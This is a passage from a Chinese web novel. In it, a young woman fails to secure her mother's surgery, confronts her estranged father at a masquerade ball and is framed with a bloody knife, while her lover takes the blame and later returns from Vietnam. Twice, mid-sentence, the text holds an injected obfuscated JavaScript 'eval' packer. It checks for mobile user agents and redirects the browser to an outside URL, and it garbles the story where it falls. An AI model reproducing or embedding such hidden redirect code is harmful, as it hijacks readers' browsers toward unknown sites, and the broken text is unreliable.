姜堇吸了吸鼻子,对着李黎跪了下去。 雨水汇积到人看不清地面,姜堇跪下去以后,才意识到自己跪在了一个窨井盖上。金属的凹纹隔着薄薄一条牛仔裤,硌着她膝盖。 “李黎。”她一张口,暴雨继续不留情面灌进她嘴里,漤着她喉咙,带来一种类似淹水的痛感:“求你,我求你了。” 所有路过的、门前的、喝茶的人们,纷纷往她俩这边看过来。 “啊呀,这是做什么。”李黎笑着往旁边让了一步:“姜堇,我也想帮你。可你知道我爸这个人,对待他自己的职业是很严肃的,我实在帮不了你。” 她想去拉自己的车门,姜堇冲起来攥住她手腕:“你就这么恨我吗?” “我怎么可能恨你?”李黎仍是笑着:“我只是讨厌你而已。” “只是因为讨厌……”雨水挂满姜堇的睫毛:“可我妈……那是一条人命……” “来找我爸的哪个不是一条人命?”她甩开姜堇的手。 姜堇站在原处,浑身早已湿透,看上去像是快要坏掉的单薄纸人:“你这样……你这样……” 李黎问:“你能怎样?” 姜堇喃喃地,似是说给李黎听,又似是自言自语:“我会恨你。” 李黎:“你恨我,又能怎样?倒是我,可以让我爸永远不给你妈做手术。” 她呵笑一声,上车走了。 - 陈列回到船舱的时候,发现姜堇不在。 他给姜堇打了好几个电话,始终无人接听。 夜渐渐深了。陈列到甲板张望了数次,确信姜堇仍没有回来。 他终于忍不住黑进姜堇的手机,查到姜堇的实时定位。 陈列赶过去,发现那是一家餐厅,已然打烊。 姜堇的确在那里。 暴雨如注地下着,好像他们最亲密的那晚,好像世界将要倾覆,好像没有明天。 周围早已没了人烟。姜堇站在停车场边,暴雨早已把她马尾散落下来的发浇透,黏在她脸上,让人看不清她的表情。 “你在这里干什么?”陈列快步跑过去,去拉她的手腕,发现她在微微地发抖。 陈列皱着眉叫她:“阿堇?” 姜堇仍是站着,没反应。 陈列吸一口气:“阿堇你听我说,我这些天联系了很多天使投资人,他们大部分把我刚具雏形的程序贬得一文不值。可其中有一人,他自己也是做程序出身,对我的公司感兴趣,表示可以五十万收购。” 陈列自己很清楚。 当他真正做出一个完善的程序,对他公司的估值会翻百倍。 可他没有时间了。 他和姜堇一起,是在跟死神抢时间。 他拨开挡在姜堇额前的发,庆幸的,欣慰的:“阿堇,有了这五十万……” “啊——!!!” 陈列陷入一种愕然里,他的大脑或许运转了很久,才意识到这样格外凄厉的一声尖叫是由姜堇发出来的。 是从看起来那样单薄的、那样平静的姜堇体内发出来的。 姜堇近乎疯狂地哭喊着,让人想起她的母亲白柳絮。陈列死死抱着她,她近乎脱力地快从陈列臂弯里滑落下去,陈列又把她往上搂,她疯狂地捶打着,也不是打陈列,而是像对这个世界发泄般。 “嘘,嘘。”陈列死死抱着她,吻她早已湿透的头发:“阿堇,嘘,没事了,我接住你。” 44. 狂奔 陈列把彻底脱力的姜堇带回了船舱。 那一晚是他帮姜堇洗头洗澡,烧了很热的水,把姜堇浑身都擦了一遍。又被冬天的被子找出来,让姜堇躺在木板床上,把姜堇整个裹在里面。 姜堇经历了一场很严重的发热。 陈列从城中村的医院买来退烧药和体温计,药无济于事,姜堇仍然烧到三十九度。陈列预备抱姜堇去医院,姜堇昏沉沉地推他:“不去。” “你知道你发烧到多少度吗?” 姜堇仍是昏沉沉地答:“会好的。” 陈列怀疑她烧糊涂了在说胡话。 他想起那场暴雨,想起姜堇在那场暴雨里的癫狂、像要耗尽自己最后一点生命力般。他甚至悲观地想过:姜堇会不会挺过这场高热? 然而,姜堇的热度在当天晚上就退了下来。 她真像臭水河畔那些顽强的紫色野花一样,有着极之旺盛的生命力。 她裹着被子坐在木板上,喝陈列给她冲的药,苍白的双颊还残存着高热留下的红晕。 陈列问她:“想吃什么?” 她说:“面。” 陈列便去城中村的菜市场买了鸡蛋、葱花和姜。姜切成丝丢进去,煮了一大碗热气腾腾祛寒气的面。 姜堇把那一大碗面吃得一根不剩,甚至汤也喝完,把空荡荡的碗递还给陈列。 陈列洗了碗,回来坐在她对面,这才问:“昨晚怎么了?” 姜堇裹紧被子坐着:“李教授不会加号给我妈做手术,现在光有钱还不够。” 她隐去了李黎对她的那番羞辱。 她永远不会讲给陈列听。 “嗯。”陈列的睫毛长、却并不浓密。垂落下来的时候,显得他思考间有种超脱年龄的冷静。 到现在他们都不会惊惶了。 事情一件件压过来,他们只会近乎机械性地想对策去解决。 白柳絮的身体条件已不支持长途奔波转院,陈列的办法是搜索周边城市,有没有和李教授一样擅于做这类手术的医生、还能排得上号。 姜堇好像永远是更成熟的那个,她好像永远漠然地先一步洞清,能做这样手术的医生全国又有几个?现阶段只有李教授能解决她的问题。 她灼灼燃烧的生命力总是惊人,到了第二天傍晚,她出现在甲板,竟已是姿容焕发,一头浓密的乌发在脑后盘一个高雅的髻,着一身修身的黑色晚礼服,一边肩带绕着她天鹅般的颈项,另一边则无肩带,露出她雪白的肩膀和深凹的颈窝。 除了一场高热感染了她的肺、她时不时低咳几声之外,整个人竟已看不出病色。 当然,这也跟她的妆容过浓有关。 她粉底涂得厚,眼妆铺得清淡,唯独一张唇,抹了格外浓烈的蓝调正红,与她一身暗黑的晚礼服激烈地冲撞在一起。 陈列看到她的一瞬,心里冒出个荒唐念头: 她在燃烧自己的生命。 陈列立刻跃下甲板向她走去:“你要去哪?” 姜堇站在自己的船头,居高临下地看他,眼神里含着妩媚笑意:“陈列,别问我,好吗?有些面的我,我永远都不想你看到。” 事后陈列无数次后悔过。 那时他到底太年轻了,他只有十八岁,没有任何与女性相处的经验。 他错误地以为对一个女性最大的尊重,就是在任何层面都不要违逆她本人的意愿,不要令她为难。 他错了。 他那时就该违逆姜堇的意愿,不由分说地跟上去。 无论姜堇打他也好、骂他也好、讥讽他也好,他一步也不应离开。 可当他明白这些的时候,他已经永远错失这样做的机会了。 姜堇走了,一轮残阳映着她的背影。 姜堇来到了一个酒会。 她在拼命搜索李教授的时候,意外在一篇网络新闻稿的照片里看见,李教授与姜启川相谈甚欢。 他们竟相熟。 姜堇在从姜启川电脑拷来的那些资料里发现,姜启川私下入股了李教授的医院,没有让他老婆知道。 姜堇又从姜启川助理的手机里,得知了今晚酒会的行程,姜启川和李教授都会出席。 她又从助理手机里拷贝了一份当晚的邀请函。当她出现在酒会上时,无数男人的目光朝她投射过来。 她端起侍应生托盘里的一杯鸡尾酒,神色淡淡。 姜启川这样的男人,似乎对美人有一种本能的直觉。 当他看过来的时候,眼底的惊艳和厌恶几乎同时出现。 姜堇端着酒杯走近,朝他盈盈一笑。 他漠然看着姜堇。 “帮我一个忙。”姜堇手指理了理他领带。 这么多人的场合,姜启川总不至于激烈地推开她。 姜启川问:“怎么,还想要钱?” “钱我不要了。”姜堇纤白的指尖在他领带夹上刮过:“你让李教授给我妈做手术。” 姜启川笑了:“为什么?” 他看向姜堇的眼神带上一丝讥讽的同情:“这么多年的摔打还没让你学聪明么?还是她的基因拉低了你的智商?”他问姜堇:“我为什么要帮一个我生活里的定时炸弹?” 他只差把那句话明晃晃地说出来——他只恨不得她死了才好。 他看向姜堇的眼神好似在质问:你还有什么筹码,能让我为你做这件事? 姜堇的指尖又理理他衬衫胸口的褶皱:“你不怕人以为我是你的情人?” 姜启川含笑的眼神带上一丝玩味。 “你应该宁可让人以为我是你的情人,也不会让人发现我是你的女儿吧。”姜堇看着他。 周围人觥筹交错,他俩之间这场压低声的密谈,交织在大提琴的高雅乐声中,多像一场情人间的絮语。 姜启川是真的笑了。 “你多少岁了?” 姜堇看着他,不答。 “十八?十九?”他扫视一遍姜堇:“等你长大一点你就会明白,这个社会对一个男人,尤其一个功成名就的男人,比你以为的要宽容得多。” “你大可以去造声势,说你是我情人。”他俯近姜堇耳边:“上网、上微博、上我公司、上我家里。我甚至可以给你三天时间,三天后我再着手压下这件事。” “社会会审判我吗?”他含笑看着姜堇:“我好心劝你一句,就算你让所有人以为你是我情人,最终接受审判的是你,而不会是我。” 他端着酒杯走了。 甚至心情大好地跟着大提琴旋律,哼了两声口哨。 有旁人问他:“老姜,那个漂亮女孩是谁?” 他甚至还往姜堇这边望了一眼,笑意盈盈地答:“不认识啊。” - 陈列到甲板上不知眺望了多少次。 这一次,他终于看到姜堇的船舱里亮了灯。 他立刻过去,推开门。 姜堇靠船舱坐着,身上的晚礼服还没脱掉,只是发髻散了下来。束了一晚上的发髻,散下来时发尾都打弯,散乱卷曲地搭在她肩头。 高跟鞋甩脱在一旁,她赤脚踩着船舱中隆起的那方矮桌,露出纤细白腻的脚踝。 那样的她,既妩媚,又沧桑。 她扭过头看了陈列一眼,面无表情的。 陈列走到她对面坐下。 她问陈列:“有烟么?” 陈列:“抽什么烟。” 她耸了下肩,便是在这时笑了起来。 陈列本以为她是在强撑,后来发现她是真的在笑。 妩媚的、野蛮生长的、带着恨意的、咬牙切齿的。 恨意也能成为她一往无前的动力。 “陈列,你为什么要担心我呢?”她晃着雪白的脚腕,问陈列:“你不明白,对一个出身微寒的女孩来说,成长不是长大,是进化。” 杀不死她的,只会使她更强。 她笑看着陈列:“我会想出办法的,一定。” - 然而上天没有给她这样的机会。 陈列看着她一天天消瘦下去,抱着电脑查询李教授其人的弱点。陈列煮了面,蜷起指节在桌面敲一下:“吃了。” 姜堇端起碗,仍盯着电脑屏幕。眼睛里闪着灼灼的光,陈列有种感觉,总觉得她像是在燃烧自己的生命力撑过这段时日一样。 陈列一方面在医院看护白柳絮,一方面忙着出售公司的各项事宜。 姜堇这天去医院的时候,独自在走廊窗边站了许久。 总怕白柳絮见到她又情绪失控。 窗户开了一条缝隙,外面阳光炽烈成一圈光晕,混合着蝉鸣包裹过来,像一张密不透风的网。湿热的暑气令人窒息,姜堇小口小口的呼吸着,又想起菜市场那条被掼到地方的鱼。 张着嘴一开一合,却不知自己的生命力将要耗尽。 正当这时,一个黑衣男人从病房出来。 姜堇不经意一回眸—— 她快步地冲上去,近乎野蛮地拽住男人袖子。 真可笑,她同姜启川根本不熟,怎会凭一个背影认出这就是姜启川?莫非真是先天的血脉作祟? 她盯着姜启川,面无表情的。 倒是姜启川先笑了:“我就是来看看。” 他回看着姜堇,探究的,好奇的:“我年轻时怎么会看上这么个女人,让她生下你这么个野种,成为我一生的污点。” 姜堇那时攥着他袖子,莫名望了眼窗外。 很久以后,当姜堇回忆起自己心底的希望到底是什么时候完全坍塌,便会想起这一刻。 她攥着姜启川先没开口,因为她心底有一丝妄想:姜启川是动了恻隐之心来看一眼白柳絮吗? 毕竟两人相爱过。 可原来,他只是来看她什么时候死而已。 他恨不得她早点死了才好。这样他的污点便从世界上消失。 他拂开姜堇的手,快步离去。 走到电梯口时抬脚看了眼皮鞋,好似来这平民的医院、会有灰尘污染他的鞋面似的。 白柳絮和姜堇在他看来,便是这样的一粒灰。 姜堇不知窗口是不是吹进了一阵风。 当她心里有什么东西轰然倒塌、砸得粉碎时,又被这样一阵风吹得灰飞烟灭。 她忽地想到了什么,快步跑回病房,胸口剧烈地起伏着。 还好,白柳絮安然地躺着。方才那一刻姜启川阴鸷的眼神,真让姜堇怀疑他进病房来、是不是动了什么白柳絮赖以为生的仪器。 姜堇喘着气:不过,姜启川有什么必要冒险在医院做这等事? 他有的是其他好手段。 - 陈列这天忙完回到自己船上,煮了面,端去姜堇那边船舱时。 竟发现姜堇不在。 没像每日一样对着电脑、疯狂地搜索着什么。 陈列打开手机,查询姜堇的定位,然后赶了过去。 高耸在他面前的,是一座典型的巴洛克风格大楼,富丽繁杂的雕刻直耸入蓝紫的夜色。 这里有个特别的名字,叫S酒店。但凡来到江城的无人没听过它的名号,包括陈列。 它是纸醉金迷,它是笙歌鼎沸,它是权贵名流的极乐天堂,是陈列这种人可望不可及的存在。 这一晚,竖琴的旋律混着大提琴音,从宛若教堂的建筑里空灵飘散,竟生出一种神圣之感。 仿若这里只有快乐,过滤哀伤。 仿若这里只是轻盈,消解沉重。 陈列查到今晚这里有一场盛大的化妆舞会。他又低头看一眼手机,确信姜堇的确在里面。 他快速伪造了一张邀请函,从已无人值守的签到处随手抓了张面具。 低头看了眼,才发现那是一张小丑面具。 洒了金粉的浮夸眼线勾勒出笑眼,却有一滴钻石形状的泪从左眼垂落。 陈列随手把面具往脸上一罩,去签到处。 门口值守的安保看过电子邀请函,仍对他一通打量。 毕竟他穿着不入流的黑T,配一条牛仔裤,和今晚衣香鬓影的贵宾们格格不入。 他终是被放行。 陈列快速地奔进去。唱诗般的圣乐变成了跳跃轻盈的探戈,挑高穹顶之下,烘托气氛的羽毛雪片般簌簌而落,灯光宛若天堂,香水味混杂着香甜辛辣的酒味。 伴唱,香槟塔,鸵鸟羽毛。一片极其奢靡的奇景。 人人穿西装或光彩熠熠的晚礼服,一副盖茨比时代的复古调调。男士们的面具罩在脸上,女士则大多执一根金属棒、将面具挡在眼前。 唯一人不同—— 探戈乐声响起的时候,人们纷纷围拢过来,将她和一个中年男人簇拥起来。 陈列站在人群的最外围,却也能一睹她的风姿。 因为她着实太耀眼。 她穿一件修身的黑色礼服裙,挂脖款,直角肩和深陷的锁骨。裙摆卡在臀部以下膝盖以上的黄金风格线,露出大腿的雪肌,与黑丝绒的极致对比,凹与翘勾勒出极致腰臀比。 她的面具不似其他女宾执在手上,而是一条黑丝绒带系在脑后。带子嵌进她做了微卷的优雅盘发里。 她起舞的姿态轻娆却利落,每一个定点带着力度,散落的微卷发丝从她额前滑落。 她戴一只蝴蝶形状的面具,蝴蝶的两翼耸入她的鬓角。 她是迷离的涅槃。 是可望不可及的梦。 黑色探戈舞鞋衬出她盈盈一握的光洁脚踝,她浑身没有任何首饰,唯纤细的手腕一根细细金属链。 她是姜堇。 而与她共舞的那个男人,是姜启川。 两人的共舞不似协作,而似过招。一招一式之间若叫陈列看来,几乎藏着杀机,恨不得把对方生吞活剥了才好。 可不明所以的宾客们不觉得危险,只觉得精彩异常,纷纷鼓掌喝彩。 她合该是天生的明星。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581158|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而不是赤着脚站在臭水河船头的孤女。 陈列望着她,与她的距离便是这人群重重叠叠的距离。 一曲舞弊,姜堇踩着高跟鞋、拽着姜启川的领带离去,唇边缀着飘忽的笑意。 姜启川笑得有风度而无奈,摊开双手耸着肩。 陈列刚要跟上去,一名侍应生挡在他面前:“先生。” 身后跟着几名安保。 看上去仍是怀疑他身份。 当他终于摆脱,姜堇和姜启川已不知所踪。 陈列在锦衣华服的人群中穿行着,高雅或刺鼻的香水味传来。 此时,男士卫生间里。 姜堇锁了门,坐在白海棠纹的盥洗台上,高跟鞋脱了,一只立在地上,另一只倒在一侧。她一双脚腕轻轻晃着,蝴蝶黑丝镂空面具倒还罩在脸上,唇边仍是那般好脾气的笑着,把玩着自己的一只小手包。 姜启川站在她对面,对着盥洗镜理领带。 姜堇笑道:“我终于明白,我费心找李教授有什么用呢。” 姜启川瞟她一眼。 姜堇:“阻碍李教授给我妈做手术的,根本不只是他任性的女儿,最重要是你,李教授的投资人。” 姜启川终是笑了:“你还不算太蠢。” 他对着镜子又正了正领带:“等白……白什么来着?等她葬礼的时候,我会给她献一束花的。她喜欢什么来着?玫瑰?还是马蹄莲?” 姜堇摁在盥洗台上的手指微蜷了蜷。 是梨花。 白柳絮最喜欢的是梨花。一树梨花一溪月,随风飘零的时候,似白雪簌簌而落。 姜堇又是轻忽地笑了下。 她细白的指尖在盥洗台上划个半圆,轻轻地摁了下。 “那就一起死吧。”她轻巧而不在意地说。 姜启川今晚第一次朝她正眼看过来。 “从你手里苟活是不容易。”姜堇交叠的脚踝一晃一晃,把一缕微卷垂落的发勾回耳后:“那就,一起死吧。” 姜启川是个识人无数的人。 从姜堇蝴蝶面具中透出的双眼,他知道这个年轻的、单薄的、手里看起来什么砝码都没有的女孩,是说真的。 姜启川缓缓拧开复古水龙头来,用清水洗净了双手。 从西装内袋里抖出张格纹手帕来擦手的时候,他又看了姜堇一眼。 - 姜堇缓缓醒转的时候,发现自己是在一间休息室里。 复古浅铂金的贴纸,墙角一尊阿波罗与达芙妮的石膏雕像,姜堇躺在一张柔软的丝绒沙发上,两侧的丝绒靠垫是孔雀蓝与鹦鹉绿。 太阳穴一跳一跳地胀痛,姜堇抬手按了下,发现自己另一手里沉坠坠的。 姜堇垂眸看了眼,汗毛乍竖—— 她手里握着一柄刀。 她日日藏在她书包里、今夜藏在她手包里的那柄小刀。 上面沾着黏稠的血迹,正一滴、一滴,淌在甜腻温柔的地毯上。 姜堇快速坐了起来,大脑一阵宿醉般的晕眩。 她快速回想着失去意识前的一幕——她和姜启川在洗手间里,姜启川掏出了一条手帕。 那条手帕有问题? 眼下的情形是……姜启川陷害她? 刀上是谁的血? 姜堇快速抽纸巾擦干了刀刃上的血迹,用纸巾把刀一裹塞进了自己的手包里。打开休息室的门之前,站在厚重木扉边听了听门外的动静。 乐声和欢笑声远远地传来。 姜堇打开房门看了眼外面没人,快速溜出去。 她先到窗边看了眼有没有溜走的可能。没有,都有安保值守。 她快速朝大堂走去。眼下的情形越拖越糟,她必须在事发之前脱身。 她的心脏快速而激烈地跳动着,一股肾上腺素飙升的感觉,然而她尽量维持着外表的平静,紧紧攥着自己的手包。 音乐声。祝酒声。人群的交谈声和欢笑声。 姜堇飞快地走着,听见自己的高跟鞋声敲击着大理石地板。踏踏,踏踏。 姜堇观察着四周的一切,醉酒的笑靥和过分浓烈的复古色彩在她眩晕的大脑里,交织出过分跳脱的蒙太奇。 几名警察贴着墙角走了进来。 姜堇心脏突地一跳,望了眼教堂般高耸的两扇竖琴形厚重木扉。 她还离得很远。 她越走越快。 这时有人自身后攥住她手腕。 她心脏又是突地砰砰两跳,几乎快要惊叫出声。猛然回过头去,那人戴一张小丑面具,眼睛在笑,却坠着一滴泪。 姜堇从那双过分沉黑的瞳仁认出:“陈列。” 她来不及多说任何话,也来不及听陈列说任何话,把那只小手包往陈列手里一塞:“拿着。” 甩开陈列的手,快速掉头就走。 陈列望着她背影,环视一圈四周,迅速看到了那一列警察。 陈列打开手包往里瞥了眼,一团纸巾包着什么都瞧不见,只闻到一股浓稠的血腥味。 陈列拨开那团纸巾,阖了阖眼。 耳畔回想起姜堇刚刚那声压低而近乎蛊惑的一声:“拿着。” 他状似无意把那柄刀掉到大理石的地板上,叮当当,叮当当。 刀弹了两弹才落稳,旁边一名戴猫耳面具的贵妇只看一眼,便尖叫起来。 警察快速向陈列这边围拢。陈列望一眼姜堇背影,她便是这时几乎拔足狂奔起来。 向着那教堂般高耸的厚重木扉,近了,近了。 姜堇一次也没回头。 陈列自嘲地笑了笑,向着那背影伸出手去。 他这莫名的动作引起了警察的警惕。他被压倒在地,旁边人的闹嚷喧杂中,他感到自己的脸紧贴着大理石地面,那股透心的凉意一路传至他心底。 警察在维持秩序,将围观的人群疏散开来。 于是陈列的眼前被让开了一条道,让他得以倔强地仰起点脖子张望,望着姜堇的背影狂奔至木门边,钻了出去。 姜堇带着过分剧烈的心跳一路狂奔着。 当警方过来时,整个宴会厅出于惯性延宕着某种过分虚妄的欢乐,绒绒的羽毛从穹顶降落,似雪片,也似簌簌而落的梨花,沾满了姜堇的发髻,也挂满了她的睫毛。 她气喘吁吁地跑着,跌跌撞撞地冲进一个潮湿的夏夜。 忽地,那条细细金属链子不知怎的搭扣一松,从她腕子上落了下来。 姜堇犹豫一瞬——若这链子落在S酒店附近,必定成为她遗落的证据。 她已跑出几步远了,正犹豫着要不要回头去捡时,一辆运送碎石的大卡车开了过来,巨大的轮胎直接碾碎了那链子。 好似一切的机缘巧合都在告诉姜堇: 别回头。 她感到睫毛都在发沉、几乎张不开眼去看未来,可她在内心提醒自己: 姜堇,一次也不要回头。 45. 回国 姜堇第一件事是把白柳絮转出了那家医院。 她觉得姜启川疯了,她不能让姜启川找到白柳絮。 然后她把必备的随身物品从船舱里搬了出来,在一个不要身份证登记的日租旅馆租了间房。老板娘嗑着瓜子看她一眼,细窄逼仄的楼梯通上去,红绿霓虹色调诡谲,她的左边房间住一个酒鬼,右边则住一个特殊行业的女郎。 这天姜堇从医院出来,去了江城的另一条河边。 她抱着双臂站在河畔,河风拂荡,她往远处眺望。 她能猜测到陈列现在的处境。如果这是姜启川特意设局陷害,陈列助她脱身,自己必定就没那么容易甩脱关系。 要去找陈列么? 姜堇的唇角自嘲地往上勾—— 她去了,白柳絮又该怎么办? 尽管现在她暂且逃脱,也没有一丝办法。 大夏天她穿一件套头卫衣,大垮垮地罩在身上——说来可笑,这件卫衣还是陈列的。 她把兜帽扣到脑袋上,去河畔边上的超市买了包陈列常抽的红旗渠。 老板好奇地看了她眼,倒也没说什么。 大概这城市奇怪的人实在太多了。大夏天穿卫衣又算得了什么。 姜堇回到河畔去点燃一根烟,继续眺望着河面时,旁边突然有人与她搭话: “嗨。” 姜堇的视线立刻变得警惕起来。点燃的烟夹在她指间,还没抽,闻着已是过分刺鼻的味道。 陈列抽的烟原来这么烈么? 与姜堇搭话的是一个约莫三十岁的女人。 “别紧张。”女人看着姜堇笑道:“我在医院见过你。我是想问你,想去非洲么?” “什么?”姜堇略略惊愕。 “去非洲的义工组织。”女人从口袋里掏出张名片递给姜堇:“薪资极低,疟疾肆掠,蚊虫横行。要真是倒霉的话,一条小命搭进去也说不定。” 女人说着耸了下肩:“所以我们很难招人。” “为什么找我?”姜堇接过名片,问道。 “因为你看起来走投无路。”女人毫无遮掩地坦诚道:“很像年轻时的我。” 她告诉姜堇:“我们环境极差,可是随行有极优异的国际援助医生。” 姜堇回看着女人。一轮残阳铺陈在河面上,波光粼粼,浓郁如血。 - 陈列从警局出来,已是三个月以后的事了。 警局问他要不要请律师,他只是沉默摇头。警局于是给他指配了免费的法律援助律师,无论问他什么,他只是一问三不知。 给陈列洗脱嫌疑的过程很是困难,毕竟众目睽睽瞧见那把刀从他手里掉了下来。 好在那律师虽然免费,可一腔正义。几番奔走,终于找到一个当天的女侍应生,肯作证出事的时候,她看到陈列正在大堂的宾客间搜寻,看起来正在找什么人。 陈列在一个盛夏卷入事端,再出来时,空气里已有了秋凉的味道。 大学的入学时间已过。本欲收购他公司的投资人,在出了这样的事后,取消了对他的投资并向他索赔一笔巨额的违约金。 陈列站在警局外,还是那般的站姿。外人当他直挺挺,只有他知道自己佝偻着背。 他用口袋里的零钱买了包红旗渠,从公交车下来、咬着烟往河畔走的时候,他脚步一顿。 三五成群的人倚在他的船头,手中小臂长的钢管在掌心无所事事地敲着。 陈列掉头就跑。 口中的烟掉在河畔泥泞的地里,又被他一脚碾碎。 那是一段格外混乱的日子,陈列时至今日想起来都是模糊。 他在江城的几个城中村辗转,一度摆脱那些人后,他冒险回了趟河畔的旧船里。 他撬开船底的木板去看——之前他打拳赛攒的钱,都放在姜堇给他的那个曲奇饼干铁盒里,此时什么都不剩了。 应该是姜堇,只有姜堇知道钱藏在这里。 陈列站起来去翻枕头下,以及他放衣服的那只樟木箱子。 姜堇一并带走的,还有他的一件黑色卫衣,以及他压在枕头下的七十块钱—— 那是七张十块。 他生日那天,姜堇一张张数给他的。 每给一张,问一次够不够买他的快乐。数到最后,姜堇总共给了他七十。 现在,姜堇把她曾给他的快乐一并带走了。 陈列坐到船舱的地板上,沉默地给自己点了根烟。仰头,望着逼仄的船舱顶,缓缓吐出一口烟雾来。 回想起最后见姜堇的那一夜。 姜堇穿一件黑色礼服裙,妖娆却又高冷地攀在姜启川肩头跳一曲探戈。 她一手虚虚搭着姜启川的肩,另一只展平的手腕上,挂着她生日时陈列送她的金属链子。 陈列望着船舱顶,嘲讽地勾一勾唇角。 那本是一条脚链,挂在姜堇本就细瘦的手腕上,余出好长一截。 当时陈列给她戴上的瞬间,心里莫名地想: 他留不住她。 即便他拴住她的脚腕,他也留不住她。 现在看来,果然如此。 陈列抽着烟,几乎是一种慵颓的姿势。其实他已听到河畔远远传来的脚步声了,他爸新欠下了巨额的赌债,这些追债的人不会放过他。 他知道自己必须逃跑了,可浑身坠了铅似的发沉。 跑?他知道自己再无可能留在江城,更不可能安稳地上什么大学、开什么公司,可他又能往哪里跑呢? 直到脚步声逼近船舱外,陈列不疾不徐抽完了最后一口烟。 他撑着舷窗忽地豹一般跃出去,令窗外没防备的人陡然后撤一步。 陈列玩命地往前跑去,几乎失却重心,一手在泥地按了一把才得以继续往前跑。 他气喘吁吁地跑着。 眼前晃荡着那夜姜堇奔向教堂般门扉的身姿。 他把身后的人略略甩开后,跳上一辆公交车。巧合的是,这辆公交的终点站正是江城的长途汽车站。 陈列的胸口仍因长途奔袭剧烈起伏着,望着车次的电子屏。 事实上他也不知去哪。更何况他在考虑,用身份证买车票的话,会不会进一步暴露自己的行踪。 “小伙子。” 陈列眼尾瞟过去,有人同他搭讪。 是一个看起来格外朴素的中年人,穿一件过时的立领T恤配灰色裤子,对着陈列的身材上下扫视着。 “找活路?”他说话带微微的口音,陈列听了一会儿,才辨识出男人是问他要不要找工作。 他望着男人,唇角微抿。 男人问他:“去越南么?赚得多哩。” - 越南有条长长、长长的湄公河。 在举世闻名的文学作品里,它因一个越南少女和一个孱弱的东方男人的爱情故事,被赋予了一层浪漫旖旎的情调。 事实上陈列站在甲板上眺望时,只觉得它逼仄且略有些赃污,夏天闻起来有一种特殊的气味。 让他想起江城的那条臭水河。每到夏天时,河面总是结一层厚厚的飘萍。 这是他来越南的第七个年头了。 七年里他由一个孤孑锐利的少年,蜕变成了一个格外沉默的成熟男人。仅存的一点少年单薄在他身上消褪得无影无踪。 肩宽,腿长,典型的倒三角身材。晒得黝黑了些,一身黑西装加身,模特一般的衣架子。 他已习惯在越南这般湿热的天气里穿西装了。这样的气候总让他想起江城。 “LI?T?。”一个矮胖的男人从船舱里探出头来:“老板找你。” 陈列沉默地钻进船舱里去。 晚餐时间,他守着晚餐送进老板的舱房后,自己去了员工餐厅。 他总是沉默,吃鸡胸肉、西兰花、米饭配少量的酱汁。大口吞咽,食速很快,很大的食量。 跟着老板的另几个员工在对面吃三色猪扒饭。 有人提到:“LI?T算是跟着老板时间最长的保镖了。有多久,三年了吧?” 陈列:“嗯。” 他来越南后第一份工作就是做保镖,大抵看他体格健壮,沉默寡言外加语言不通。辗转几处后,跟了现在这个做珠宝生意的老板。 “老板换保镖的频率可勤。”有人意味深长地眨眨眼:“毕竟我们的小夫人……” 「小夫人」固然不是老板的正牌妻子,却是最得宠的一个,每每被老板带在身边。 年纪轻,有一双很妩媚的狐狸眼,企盼获得全世界的关注与宠爱。 于是常常撩拨老板身边年轻的保镖。 老板身边的保镖一茬茬换,直到换成了陈列。 陈列后来学会了越南语,却也依然沉默。面对小夫人的撩拨,他从来不为所动,冷这张脸沉默。 “LI?T。”有人同他玩笑:“小夫人那样的绝色佳人你都看不上眼?你喜欢什么样的?” 陈列懒理他们的玩笑,收了餐盘离去。 他愈加地封闭自己。 更何况,他当晚找到老板,提请了辞职。 老板有些意外,表示愿意给他多加三分之一的薪水,这已算一份不低的收入。陈列只是拒绝。 倒不为别的。只是这样的生意人,总有灰色地带。长期跟在老板身边知道得太多,未见得是什么好事。 倒不如急流勇退。 有同事问他:“之后什么打算?” 陈列:“回国。” 同事讶异:“回国做什么?你现在在越南,随便就可以找到一份薪水不菲的工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586706|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作。” 陈列沉默望着夕阳铺陈的湄公河。 橘红调的光晕散开来,给河面染一层瘦窄的金。 回国做什么? 老实说,他也不知道。 国内早已没什么能牵绊住他了,还有被追债的风险。回去做什么? 可能,他在心中揣测出一个答案:可能他是一个没有家的人。没有家的人,愈发不喜长期在故土以外流浪。 陈列终是在阔别七年后,踏上了江城的土地。 躲避追踪其实玩的是心理战,讲究一个“灯下黑”。找他追债的人就算七年来还没放弃,也想不到他会回最危险的江城。 陈列在越南没什么开销,已攒下一笔不小的钱。 可他依然到城中村去,在窄巷尽头,租了间不查身份证的破旧平房。 一来这样比较隐蔽。 二来他已习惯这样的生活。当保镖收入不低,可条件未见得好,什么苦都要吃。他手里那笔钱又能做什么正经事?随时都会暴露他自己的行踪。 陈列回国后休息了一周。 一周后,他买了好些水果,香蕉火龙果橘子之类,搭乘公交车往另一个城中村而去。 还是习惯乘公交车。总觉得掩藏在人群中,才能更好地隐没自己。 他走到一处低矮平房前敲门。 “来了。”应门的是一个年轻女声。 先打开木门,又推开带纱帘的防盗门。女人看上去跟陈列差不多年纪,斜梳一个马尾垂在肩头,看长相应该是南方人。 对陈列笑道:“真回国了?” “嗯。”陈列把满满一兜水果递她:“来看看阿姨。” “这么客气干嘛。”女人侧身让陈列进门:“我妈一大早就开始絮叨你要来,还怕你是诓她的呢。” 陈列走进去。 屋内光线很暗,还维持着上世纪九十年代的装修。 